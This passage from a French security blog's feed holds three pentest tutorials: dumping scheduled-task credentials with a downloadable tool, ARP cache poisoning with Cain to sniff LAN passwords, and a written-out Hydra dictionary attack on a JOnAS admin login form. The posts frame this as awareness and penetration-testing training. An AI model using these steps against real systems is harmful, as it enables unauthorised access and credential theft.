qu'une tâche planifiée au moins soit créée. Sachant que les droits administrateurs sont requis pour créer une telle action, nous devrions obtenir des credentials intéressants ;) &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;span style="color:#000000;"&gt;Dans la suite de ce post, nous reprenons le scénario depuis le début à des fins pédagogiques. Votre mission est de reproduire les étapes. Attention, vous pourriez être surpris !&lt;/span&gt;&lt;span style="color:#000000;"&gt;&lt;/div&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="COLOR: rgb(51,153,153)"&gt;2 - Mise en condition&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;Nous commençons par créer un tâche. Pour exemple, nous décidons de lancer le programme &lt;em&gt;Paint&lt;/em&gt;. Mais nous aurions pu choisir n'importe quel autre programme. Deux méthodes :&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="color:#000000;"&gt;en ligne de commande : &lt;/span&gt;&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;blockquote&gt;at 18:05 paint.exe&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;img id="BLOGGER_PHOTO_ID_5240439516236106658" style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://1.bp.blogspot.com/_BhVyBIyY5_8/SLnH-ZgsS6I/AAAAAAAAAR8/qhgkRA_CwUI/s400/task_cmd.JPG" border="0" /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="color:#000000;"&gt;avec l'interface graphique : &lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;span style="color:#000000;"&gt;Aller dans &lt;em&gt;Démarrer &gt; Paramètres &gt; Panneau de configuration &gt; Tâches planifiées&lt;/em&gt;. Dans la nouvelle fenêtre, cliquer sur "&lt;em&gt;Création d'une nouvelle tâche&lt;/em&gt;" et suivez les instructions du wizard (ex : Paint, toutes les semaines, les jeudis à 22h45). Vous devrez renseigner les credentials ... ce qu'aura fait aussi l'administrateur de la machine auditée lors d'un test d'intrusion ! &lt;/span&gt;&lt;/p&gt;&lt;a href="http://4.bp.blogspot.com/_BhVyBIyY5_8/SLnQqAI09GI/AAAAAAAAASk/1m4Xk_fCaDU/s1600-h/task_GUI.JPG"&gt;&lt;img id="BLOGGER_PHOTO_ID_5240449061432390754" style="CURSOR: hand" alt="" src="http://4.bp.blogspot.com/_BhVyBIyY5_8/SLnQqAI09GI/AAAAAAAAASk/1m4Xk_fCaDU/s200/task_GUI.JPG" border="0" /&gt;&lt;/a&gt; &lt;a href="http://1.bp.blogspot.com/_BhVyBIyY5_8/SLnQuXOQimI/AAAAAAAAASs/3ForGjbJYBU/s1600-h/task_GUI_2.JPG"&gt;&lt;img id="BLOGGER_PHOTO_ID_5240449136348662370" style="CURSOR: hand" alt="" src="http://1.bp.blogspot.com/_BhVyBIyY5_8/SLnQuXOQimI/AAAAAAAAASs/3ForGjbJYBU/s200/task_GUI_2.JPG" border="0" /&gt;&lt;/a&gt; &lt;a href="http://4.bp.blogspot.com/_BhVyBIyY5_8/SLnQzJzEp8I/AAAAAAAAAS0/f4HiQEjY7i4/s1600-h/task_GUI_3.JPG"&gt;&lt;img id="BLOGGER_PHOTO_ID_5240449218644322242" style="CURSOR: hand" alt="" src="http://4.bp.blogspot.com/_BhVyBIyY5_8/SLnQzJzEp8I/AAAAAAAAAS0/f4HiQEjY7i4/s200/task_GUI_3.JPG" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;div&gt;&lt;p align="justify"&gt;&lt;/p&gt;&lt;p align="justify"&gt;&lt;/p&gt;&lt;p align="justify"&gt;La figure suivante montre la liste des tâches créées : la première en ligne de commande (&lt;em&gt;At1&lt;/em&gt;) et la seconde via la GUI (&lt;em&gt;Paint&lt;/em&gt;).&lt;/p&gt;&lt;img id="BLOGGER_PHOTO_ID_5240444538129786210" style="DISPLAY: block; MARGIN: 0px auto 10px; WIDTH: 406px; CURSOR: hand; HEIGHT: 51px; TEXT-ALIGN: center" height="69" alt="" src="http://2.bp.blogspot.com/_BhVyBIyY5_8/SLnMithcpWI/AAAAAAAAASE/QSX7IIA2aTs/s400/liste_taches.JPG" width="422" border="0" /&gt;&lt;br /&gt;&lt;div style="TEXT-ALIGN: justify"&gt;&lt;strong&gt;&lt;span style="COLOR: rgb(51,153,153)"&gt;3 - L'attaque&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="TEXT-ALIGN: justify"&gt;Grâce au programme d'Ivanlef0u, le travail va être très simple mais pas moins impressionnant ! Commencez par télécharger le programme que vous trouverez &lt;a href="http://ivanlef0u.free.fr/repo/TaskPwdDmp.rar"&gt;ici&lt;/a&gt;. Décompresser et via l'interpréteur de commande, rendez-vous dans le répertoire d'execution nommé &lt;em&gt;exe\Release&lt;/em&gt;.&lt;/div&gt;&lt;br /&gt;&lt;div style="TEXT-ALIGN: justify"&gt;&lt;/div&gt;&lt;div style="TEXT-ALIGN: justify"&gt;Il ne vous reste plus qu'à exécuter le programme ...&lt;/div&gt;&lt;br /&gt;&lt;div style="TEXT-ALIGN: justify"&gt;&lt;blockquote&gt;&lt;div style="TEXT-ALIGN: justify"&gt;TaskPwdDmp.exe&lt;/div&gt;&lt;/blockquote&gt;&lt;/div&gt;&lt;div style="TEXT-ALIGN: justify"&gt;... et à admirer le résultat !&lt;/div&gt;&lt;br /&gt;&lt;a href="http://3.bp.blogspot.com/_BhVyBIyY5_8/SLnPYLOzDGI/AAAAAAAAASM/mckrQd0ZnGM/s1600-h/credentials.JPG"&gt;&lt;img id="BLOGGER_PHOTO_ID_5240447655660948578" style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://3.bp.blogspot.com/_BhVyBIyY5_8/SLnPYLOzDGI/AAAAAAAAASM/mckrQd0ZnGM/s400/credentials.JPG" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="TEXT-ALIGN: justify"&gt;Have fun ;)&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9218294967285138539-4002035462161643835?l=mission-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mission-security.blogspot.com/feeds/4002035462161643835/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9218294967285138539&amp;postID=4002035462161643835' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9218294967285138539/posts/default/4002035462161643835'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9218294967285138539/posts/default/4002035462161643835'/><link rel='alternate' type='text/html' href='http://mission-security.blogspot.com/2008/08/pentest-windows-find-credentials-using.html' title='[PENTEST WINDOWS] Find credentials using TaskManager!'/><author><name>Jer001</name><uri>http://www.blogger.com/profile/10602250886210141882</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_BhVyBIyY5_8/SLnH-ZgsS6I/AAAAAAAAAR8/qhgkRA_CwUI/s72-c/task_cmd.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9218294967285138539.post-3301737243096790445</id><published>2008-08-26T13:43:00.000-07:00</published><updated>2008-08-27T01:25:45.585-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='pentesting'/><title type='text'>[INTERNAL PENTEST] Caïn - attack local application</title><content type='html'>&lt;div style="TEXT-ALIGN: justify"&gt;&lt;span style="COLOR: rgb(153,153,153)"&gt;&lt;/span&gt;&lt;em&gt;&lt;span style="color:#999999;"&gt;Que le test soit initialement interne ou que vous ayez réussi à obtenir un accès en passant par un accès externe (ex : Internet), il arrivera un moment où vous vous trouverez sur le LAN de la cible. Alors, vous aurez besoin de Caïn qui représentera un réel couteau suisse dans votre aventure ! Nous ne verrons qu'une toute petite partie de ses capacités dans ce billet mais de quoi déjà faire des ravages !&lt;/span&gt;&lt;/em&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="TEXT-ALIGN: justify"&gt;&lt;strong&gt;&lt;span style="COLOR: rgb(51,153,153)"&gt;1 - Contexte&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;Voici le contexte qui représente dans le même temps les conditions nécessaires pour réussir les opérations qui vont suivre : &lt;/span&gt;&lt;/div&gt;&lt;ul&gt;&lt;li&gt;&lt;div style="TEXT-ALIGN: justify"&gt;&lt;span style="color:#000000;"&gt;nous avons {obtenu} un compte sur une machine du réseau locale de la cible ;&lt;/span&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div style="TEXT-ALIGN: justify"&gt;ce compte a les droits "administrateur local" ;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div style="TEXT-ALIGN: justify"&gt;l'antivirus sur la machine de travail est inefficace ou vous avez réussi à le désactiver.&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p style="TEXT-ALIGN: justify"&gt;Il existe des méthodes de contournement pour la première condition. La deuxième est soit fournie par le client, soit obtenue grâce à une escalade de privilège. Quant à la troisième, nous supposons que la cible est assez sérieuse pour avoir installé un antivirus sur chaque machine. Cependant, pour le désactiver, il faudrait en théorie avoir des droits suffisants sur le domaine, sans quoi, un utilisateur pourrait le désactiver facilement.&lt;/p&gt;&lt;div style="TEXT-ALIGN: justify"&gt;&lt;/div&gt;&lt;div style="TEXT-ALIGN: justify"&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="TEXT-ALIGN: justify"&gt;&lt;strong&gt;&lt;span style="COLOR: rgb(51,153,153)"&gt;2 - Redirection du trafic&lt;/span&gt;&lt;/strong&gt;&lt;/div&gt;&lt;br /&gt;&lt;p align="justify"&gt;&lt;span style="color:#000000;"&gt;Ici, nous souhaitons récupérer les informations sensibles que nous pouvons intercepter sur le réseau interne, en l'occurrence &lt;strong&gt;logins&lt;/strong&gt; et &lt;strong&gt;mots de passe&lt;/strong&gt;. Souvent, se croyant protéger sur son propre réseau, les communications sont en clair sur le réseau en question. Nous verrons que c'est souvent réellement le cas.&lt;/span&gt;&lt;/p&gt;&lt;p align="justify"&gt;Alors, par une attaque appelée &lt;em&gt;ARP Cache Poisoning&lt;/em&gt;, nous allons faire en sorte que les associations adresses MAC - Adresses IP soient modifiées dans le but de faire croire que d'autres adresses IP correspondent à notre adresse MAC. Cette attaque bien connue est bien expliquée sur &lt;a href="http://en.wikipedia.org/wiki/ARP_spoofing"&gt;Wikipédia&lt;/a&gt;. En plus de récupérer le trafic d'autres utilisateurs, vous le redirigez de sorte que l'opération reste transparente pour les victimes.&lt;/p&gt;&lt;div align="justify"&gt;C'est ici qu'intervient Caïn ! Vous devriez commencer par le télécharger &lt;a href="http://www.oxid.it/cain.html"&gt;ici&lt;/a&gt; et l'installer si vous ne l'avez pas déjà fait auparavant. &lt;/div&gt;&lt;p&gt;&lt;strong&gt;2.1 - Configuration de Caïn&lt;/strong&gt;&lt;/p&gt;&lt;div align="justify"&gt;&lt;/div&gt;&lt;div align="justify"&gt;Dans le menu, cliquer sur &lt;em&gt;Configure&lt;/em&gt;. par défaut, vous arrivez sur l'onglet &lt;em&gt;Sniffer&lt;/em&gt;. Ici, vérifier que la bonne carte réseau est sélectionnée et que l'option "&lt;em&gt;Don't use Promiscuous mode&lt;/em&gt;" n'est pas cochée.&lt;/div&gt;&lt;br /&gt;&lt;div align="justify"&gt;Ensuite, rendez-vous dans l'onglet &lt;em&gt;APR&lt;/em&gt;. Si vous avez pour but d'être discret, sélectionnez "&lt;em&gt;Use Spoofed IP and MAC address&lt;/em&gt;" et modifier l'adresse IP et l'adresse MAC en choisissant des valeurs cohérentes. Les autres paramètres peuvent être laissés par défaut :&lt;/div&gt;&lt;br /&gt;&lt;a href="http://4.bp.blogspot.com/_BhVyBIyY5_8/SLR4hw2OQ4I/AAAAAAAAARA/wZ9ZlrraD_Y/s1600-h/conf_cain.JPG"&gt;&lt;img id="BLOGGER_PHOTO_ID_5238944787982074754" style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://4.bp.blogspot.com/_BhVyBIyY5_8/SLR4hw2OQ4I/AAAAAAAAARA/wZ9ZlrraD_Y/s400/conf_cain.JPG" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;strong&gt;2.2 - Lancer la redirection de trafic&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Voici la démarche à suivre :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;div align="justify"&gt;cliquer sur les boutons "sniffer" et "APR" dans la barre de menu en haut à gauche ;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div align="justify"&gt;cliquer sur l'onglet "sniffer" (en haut) ;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div align="justify"&gt;cliquer sur le sous-onglet "APR" (en bas) ;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;cliquer sur le "+" pour paramétrer l'attaque &lt;em&gt;ARP Cachee Poisoning&lt;/em&gt; où vous choisirez la ou les machine(s) cible(s) :&lt;br /&gt;&lt;br /&gt;&lt;a href="http://1.bp.blogspot.com/_BhVyBIyY5_8/SLR6iZnhQEI/AAAAAAAAARI/AONG8H8id94/s1600-h/conf_cain2.JPG"&gt;&lt;img id="BLOGGER_PHOTO_ID_5238946997949513794" style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://1.bp.blogspot.com/_BhVyBIyY5_8/SLR6iZnhQEI/AAAAAAAAARI/AONG8H8id94/s400/conf_cain2.JPG" border="0" /&gt;&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;c'est bon, le sniffing est en cours ! &lt;/li&gt;&lt;/ul&gt;&lt;a href="http://2.bp.blogspot.com/_BhVyBIyY5_8/SLSBboaFuEI/AAAAAAAAAR0/R1J0zmbh3fc/s1600-h/cache-poisoining_1_modified.JPG"&gt;&lt;img id="BLOGGER_PHOTO_ID_5238954578242025538" style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://2.bp.blogspot.com/_BhVyBIyY5_8/SLSBboaFuEI/AAAAAAAAAR0/R1J0zmbh3fc/s400/cache-poisoining_1_modified.JPG" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="TEXT-ALIGN: justify"&gt;&lt;strong&gt;&lt;span style="COLOR: rgb(51,153,153)"&gt;3 - Interception des mots de passe&lt;/span&gt;&lt;/strong&gt;&lt;/div&gt;&lt;br /&gt;&lt;div align="justify"&gt;Il vous suffit de vous rendre dans le sous-onglet "&lt;em&gt;Hosts&lt;/em&gt;" pour obtenir des informations intéressantes. &lt;/div&gt;&lt;div align="justify"&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;br /&gt;&lt;/div&gt;&lt;p&gt;&lt;a href="http://4.bp.blogspot.com/_BhVyBIyY5_8/SLR_Qsrz-vI/AAAAAAAAARs/-06zb3R6X8U/s1600-h/sniffer_2.JPG"&gt;&lt;img id="BLOGGER_PHOTO_ID_5238952191388285682" style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://4.bp.blogspot.com/_BhVyBIyY5_8/SLR_Qsrz-vI/AAAAAAAAARs/-06zb3R6X8U/s400/sniffer_2.JPG" border="0" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Encore mieux, allez dans le sous-onglet "Passwords" et là, trouvez tous les mots de passe interceptés, ainsi que les logins associés de tous les credentials qui circulent sur le réseau à travers de nombreux protocoles : HTTP, SMB, LDAP, etc.).&lt;br /&gt;&lt;a href="http://1.bp.blogspot.com/_BhVyBIyY5_8/SLR-9tO4eLI/AAAAAAAAARk/mBmCMcz7O_0/s1600-h/recup_password_modified.JPG"&gt;&lt;img id="BLOGGER_PHOTO_ID_5238951865117866162" style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://1.bp.blogspot.com/_BhVyBIyY5_8/SLR-9tO4eLI/AAAAAAAAARk/mBmCMcz7O_0/s400/recup_password_modified.JPG" border="0" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;p&gt;Have fun ;)&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9218294967285138539-3301737243096790445?l=mission-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mission-security.blogspot.com/feeds/3301737243096790445/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9218294967285138539&amp;postID=3301737243096790445' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9218294967285138539/posts/default/3301737243096790445'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9218294967285138539/posts/default/3301737243096790445'/><link rel='alternate' type='text/html' href='http://mission-security.blogspot.com/2008/08/internal-pentest-can-attack-local.html' title='[INTERNAL PENTEST] Caïn - attack local application'/><author><name>Jer001</name><uri>http://www.blogger.com/profile/10602250886210141882</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_BhVyBIyY5_8/SLR4hw2OQ4I/AAAAAAAAARA/wZ9ZlrraD_Y/s72-c/conf_cain.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9218294967285138539.post-6592848659890008122</id><published>2008-06-20T06:43:00.001-07:00</published><updated>2008-06-20T08:05:41.562-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='pentesting'/><title type='text'>[PENTESTING] Get access through HTTP form using Hydra</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;em&gt;&lt;span style="color: rgb(153, 153, 153);"&gt;Lors du dernier post, nous avons rencontré une interface WEB contenant une méthode d'authentification basée sur un mode dit "HTTP-Form". Puisqu'il existe de très nombreuses applications WEB utilisant cette méthode, il y a de grande chance que vous soyez amenés à tester la force du mot de passe. Nous partons du principe ici que l'attaque ne peut se faire qu'online.&lt;/span&gt;&lt;/em&gt;&lt;br /&gt;&lt;/div&gt;&lt;em&gt;&lt;/em&gt;&lt;div style="text-align: justify;"&gt;&lt;em&gt;&lt;span style="color: rgb(153, 153, 153);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/em&gt;&lt;div style="text-align: justify;"&gt;&lt;em&gt;&lt;span style="color: rgb(153, 153, 153);"&gt;&lt;span style="font-size:85%;"&gt;NB : Comme tous les posts de ce blog, la démonstration qui suit n'a de vocation que de sensibiliser et prévenir et non de porter atteinte à quiconque, ce qui serait illégal !&lt;/span&gt;&lt;/span&gt;&lt;/em&gt;&lt;em&gt;&lt;/em&gt;&lt;/div&gt;&lt;em&gt;&lt;span style="color: rgb(153, 153, 153);"&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/em&gt;&lt;br /&gt;&lt;em&gt;&lt;/em&gt;&lt;strong&gt;&lt;/strong&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;0 - Contexte&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;em&gt;&lt;br /&gt;&lt;/em&gt;&lt;span&gt;Dans ce billet, nous reprenons le cas d'une application &lt;a href="http://jonas.objectweb.org/"&gt;Jonas&lt;/a&gt;. Nous supposons que nous avons trouver l'interface admin grâce à des scanners comme &lt;a href="http://nmap.org/"&gt;NMAP&lt;/a&gt; (ici, il s'agirait d'une application WEB sur le port &lt;span style="font-family:courier new;"&gt;9000&lt;/span&gt;, port utilisé par défaut par Jonas) ou des scanners WEB comme &lt;a href="http://www.cirt.net/nikto2"&gt;Nikto&lt;/a&gt; ou &lt;a href="http://www.sensepost.com/research/wikto/"&gt;Wikto&lt;/a&gt; qui sont capables de trouver les pages de ce type. Notre cible est donc &lt;span style="font-family:courier new;"&gt;http://123.123.123.123:9000/jonasAdmin&lt;/span&gt;, sachant que c'est ici que se trouve par défaut la page d'administration de l'appli J2EE en question. Aussi, nous savons - ou avons appris suite à nos recherches - qu'il existe un nom d'utilisateur par défaut : &lt;span style="font-family:courier new;"&gt;jonas&lt;/span&gt;. Pour terminer, nous supposons que le mot de passe a été changé et n'est plus celui par défaut (qui serait ici &lt;span style="font-family:courier new;"&gt;jonas&lt;/span&gt;).&lt;/span&gt;&lt;em&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/em&gt;&lt;/div&gt;&lt;em&gt;&lt;/em&gt;&lt;strong&gt;&lt;/strong&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;1 - A la recherche des informations clés !&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;span&gt;&lt;/span&gt;&lt;div style="text-align: justify;"&gt;&lt;span&gt;Pour réussir notre attaque, nous utiliserons &lt;a href="http://www.thc.org/thc-hydra/"&gt;Hydra&lt;/a&gt; de THC. Ensuite, nous avons besoin d'un certain nombre d'éléments, à savoir :&lt;br /&gt;&lt;/span&gt;&lt;ul&gt;&lt;li&gt;&lt;span&gt;le &lt;span style="font-weight: bold;"&gt;nom du champ contenant le login&lt;/span&gt; dans la page WEB ;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;le &lt;span style="font-weight: bold;"&gt;nom du champ contenant le mot de passe&lt;/span&gt; dans la page WEB ;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;le nom de la &lt;span style="font-weight: bold;"&gt;page / du script vérifiant la validité&lt;/span&gt; ou non du couple login/mot de passe fourni par l'utilisateur ;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt;un mot spécifique retourné par la &lt;span style="font-weight: bold;"&gt;page d'erreur&lt;/span&gt; en cas d'échec de l'authentification.&lt;br /&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;span&gt;Il existe plusieurs méthodes pour obtenir ces informations. Mais la méthode la plus fiable qui nous assurera de toutes les avoir est d'utiliser un proxy local. S'il en existe bien d'autres, nous utiliserons ici &lt;a href="http://www.parosproxy.org/"&gt;Paros&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Une fois Paros lancé, nous configurons notre navigateur de sorte qu'il utilise ce proxy local (par défaut sur le port 8080). Cette opération peut se faire manuellement dans les options de votre navigateur (&lt;span style="font-style: italic;"&gt;Outils &gt; Options &gt; Avancé &gt; Réseau &gt; Paramètres&lt;/span&gt;) ou via une extension après configuration (ex : l'extension &lt;a href="https://addons.mozilla.org/fr/firefox/addon/125?application=firefox&amp;amp;id=125"&gt;Switch proxy&lt;/a&gt; de &lt;a href="http://www.mozilla-europe.org/fr/products/firefox/"&gt;firefox&lt;/a&gt;).&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;img src="file:///d:/profiles/jerenard/LOCALS%7E1/Temp/moz-screenshot-1.jpg" alt="" /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_BhVyBIyY5_8/SFu62BA2SAI/AAAAAAAAALs/vamDTg5aI1A/s1600-h/firefox_configuration.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp3.blogger.com/_BhVyBIyY5_8/SFu62BA2SAI/AAAAAAAAALs/vamDTg5aI1A/s400/firefox_configuration.JPG" alt="" id="BLOGGER_PHOTO_ID_5213966430759176194" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Nous allons maintenant sur la page &lt;span style="font-family:courier new;"&gt;http://123.123.123.123:9000/jonasAdmin&lt;/span&gt; et tapez &lt;span style="font-family:courier new;"&gt;jonas &lt;/span&gt;en tant que login et un mot de passe aléatoire, exemple &lt;span style="font-family:courier new;"&gt;jonas &lt;/span&gt;pour être sûr que le mot de passe par défaut n'a pas été laissé tout simplement.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp1.blogger.com/_BhVyBIyY5_8/SFu99Fp8bcI/AAAAAAAAAL8/978DwqN_1fU/s1600-h/jonas_bad_authentication.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp1.blogger.com/_BhVyBIyY5_8/SFu99Fp8bcI/AAAAAAAAAL8/978DwqN_1fU/s400/jonas_bad_authentication.JPG" alt="" id="BLOGGER_PHOTO_ID_5213969850799254978" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Effectivement, le mot de passe a été changé. Cependant, nous obtenons la dernière information clé et nous utiliserons le mot &lt;span style="font-style: italic;"&gt;Invalid&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;Nous retournons maintenant dans Paros :&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp0.blogger.com/_BhVyBIyY5_8/SFu942TEoOI/AAAAAAAAAL0/JNpbFhoPIvk/s1600-h/paros.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp0.blogger.com/_BhVyBIyY5_8/SFu942TEoOI/AAAAAAAAAL0/JNpbFhoPIvk/s400/paros.JPG" alt="" id="BLOGGER_PHOTO_ID_5213969777957314786" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;La première requête &lt;span style="font-weight: bold;"&gt;POST &lt;/span&gt;contient toutes les infos dont nous avons besoin :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;le champ login à utiliser est&lt;span style="font-family:courier new;"&gt; j_username&lt;/span&gt; ;&lt;/li&gt;&lt;li&gt;le champ mot de passe à utiliser est &lt;span style="font-family:courier new;"&gt;j_password&lt;/span&gt; ;&lt;/li&gt;&lt;li&gt; la page à utiliser est &lt;span style="font-family:courier new;"&gt;j_security_check&lt;/span&gt;.&lt;/li&gt;&lt;/ul&gt;Nous sommes parés ! Il est donc temps de passer à l'étape suivante.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;&lt;br /&gt;2 - Crackage du mot de passe&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;span&gt;Pour casser le mot de passe, nous avons deux solutions : soit par brute-force, soit une attaque par dictionnaire. En tant que bon agent de &lt;span style="font-style: italic;"&gt;Mission-Security&lt;/span&gt;, vous n'aurez pas négligé la phase de prise d'information et vous aurez certainement une bonne idée de ce que pourrez être le mot de passe. Alors, commençons par une attaque par dictionnaire et seulement ensuite, tenter une attaque par brute-force en cas d'échec.&lt;br /&gt;Donc, une fois écrit votre fichier de mots de passe personnalisé pour la cible (appelé ici &lt;span style="font-family:courier new;"&gt;passwords.txt&lt;/span&gt;), nous pouvons lancer &lt;span style="font-weight: bold;"&gt;Hydra &lt;/span&gt;avec la commande suivante (&lt;u&gt;ATTENTION&lt;/u&gt; : votre antivirus peut empêcher l'exécution du cracker) :&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;hydra -l jonas -P password.txt -s 9000 -o results.txt 123.123.123.123 http-post-form "/jonasAdmin/j_security_check:j_username=^USER^&amp;amp;&lt;br /&gt;j_password=^PASS^&amp;amp;submit=Login:Invalid"&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;NB : avec &lt;span style="font-family:courier new;"&gt;-s&lt;/span&gt;, le numéro du port.&lt;br /&gt;&lt;br /&gt;Le résultat ne se fait pas attendre :&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_BhVyBIyY5_8/SFvF3iRQLKI/AAAAAAAAAME/JDQVhLM9hu4/s1600-h/hydra.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp3.blogger.com/_BhVyBIyY5_8/SFvF3iRQLKI/AAAAAAAAAME/JDQVhLM9hu4/s400/hydra.JPG" alt="" id="BLOGGER_PHOTO_ID_5213978551494126754" border="0" /&gt;&lt;/a&gt;Have fun ;)&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9218294967285138539-6592848659890008122?l=mission-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mission-security.blogspot.com/feeds/6592848659890008122/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9218294967285138539&amp;postID=6592848659890008122' title='0 commentaires'/><link 